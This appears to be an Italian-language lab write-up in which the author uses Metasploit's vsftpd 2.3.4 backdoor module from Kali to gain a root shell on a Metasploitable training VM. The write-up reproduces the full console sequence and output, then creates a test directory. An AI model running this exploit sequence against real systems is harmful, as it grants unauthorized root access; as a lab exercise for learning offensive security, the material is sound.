

Oggi, utilizzando il tool **metasploit**, ho inserito una backdoor shell da Kali a Metasploitable verso il servizio ftp.

Dopo aver scansionato i port in ascolto sulla la macchina vittima, ho visto che la porta 21 funge il servizio **VSFTPD**. Una volta sapendo questo, ho cercato exploit disponibili per sfruttare questo servizio mal configurato.

```
(kali@kali)-[~]  
$ msfconsole
```

Metasploit tip: Use the analyze command to suggest runnable modules for hosts

```
IIIIII  dTb.dTb  
  II    4'  v  'B  
  II    6.   .P  
  II    'T:  ;P'  
  II    'T:  ;P'  
IIIIII  'Yvp'
```



I love shells --egypt

```
      =[ metasploit v6.3.46-dev  
+ -- --=[ 2378 exploits - 1233 auxiliary - 416 post  
+ -- --=[ 1391 payloads - 46 encoders - 11 nops  
+ -- --=[ 9 evasion
```

Metasploit Documentation: <https://docs.metasploit.com/>

```
msf6 > search vsftpd
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example `info 1`, use 1 or use `exploit/unix/ftp/vsftpd_234_backdoor`

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor  
[*] No payload configured, defaulting to cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.32.101  
rhosts => 192.168.32.101  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
```

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/interact		normal	No	Unix Command, Interact with Established Connection

Ma prima dobbiamo capire, cos'è un exploit?

Un exploit è un atto che **sfrutta una vulnerabilità** di un sistema software per ottenere accesso non autorizzato, manipolare dati o eseguire attività dannose. Può essere utilizzato per aggirare le misure di sicurezza, ottenere il controllo su un sistema o eseguire codice arbitrario.

In questo caso, andiamo a exploitare un protocollo ftp mal configurato. Il protocollo File Transfer Protocol (FTP) fa esattamente quello che intende suo nome, trasferisce dei file da un sistema all'altro, tipicamente deve essere configurato in maniera che solo i utenti autorizzati possano fare parte di questa comunicazione, ma con il payload che ci da metasploit, possiamo caricare una root shell dentro la macchina Metasploitable stessa.

Una volta avendo una root shell caricata su Metasploitable, possiamo fare tutto ciò che potrebbe fare un admin, come andare a creare una cartella nuova... forse una cartella nuova chiamata test_metasploit?

Vediamo che c'è un **exploit** che ci permetterà inserire una shell verso una backdoor, che verrà caricata verso il servizio ftp.

Definiamo il host che vogliamo attaccare, e poi iniziamo detto attacco.

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example `info 1`, use `1` or use `exploit/unix/ftp/vsftpd_234_backdoor`

`msf6 > use exploit/unix/ftp/vsftpd_234_backdoor`

`[*] No payload configured, defaulting to cmd/unix/interact`

`msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.32.101`

`rhosts => 192.168.32.101`

`msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads`

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/interact		normal	No	Unix Command, Interact with Established Connection

`msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit`

`[*] 192.168.32.101:21 - Banner: 220 (vsFTPd 2.3.4)`

`[*] 192.168.32.101:21 - USER: 331 Please specify the password.`

`[+] 192.168.32.101:21 - Backdoor service has been spawned, handling...`

`[+] 192.168.32.101:21 - UID: uid=0(root) gid=0(root)`

`[*] Found shell.`

`asd [*] Command shell session 1 opened (192.168.32.104:39975 → 192.168.32.101:6200) at 2024-01-15 05:54:39 -0500`

Non è una shell molto bella, ma possiamo andare verso root con **cd /**, poi creiamo nostro directory con **mkdir**.

Ora vediamo che facendo **ls**, possiamo vedere il nuovo directory sul root di metasploitable:)

vmlinux

cd /

pwd

/

ls

bin

boot

cdrom

dev

etc

home

initrd

initrd.img

lib

lost+found

media

mnt

nohup.out

opt

proc

root

sbin

srv

sys

tmp

usr

var

vmlinux

mkdir test_metasploit

```
Meta [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help

metasploitable login: msfadmin
Password:
Last login: Thu Jan 11 06:37:14 EST 2024 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ msfadmin
msfa-bash: msfadmin: command not found
msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ ls
bin      dev      initrd   lost+found  nohup.out  root      sys      usr
boot     etc      initrd.img  media       opt         sbin      test_metasploit  var
cdrom    home     lib       mnt         proc        srv       tmp       vmlinux
msfadmin@metasploitable:/$ _
```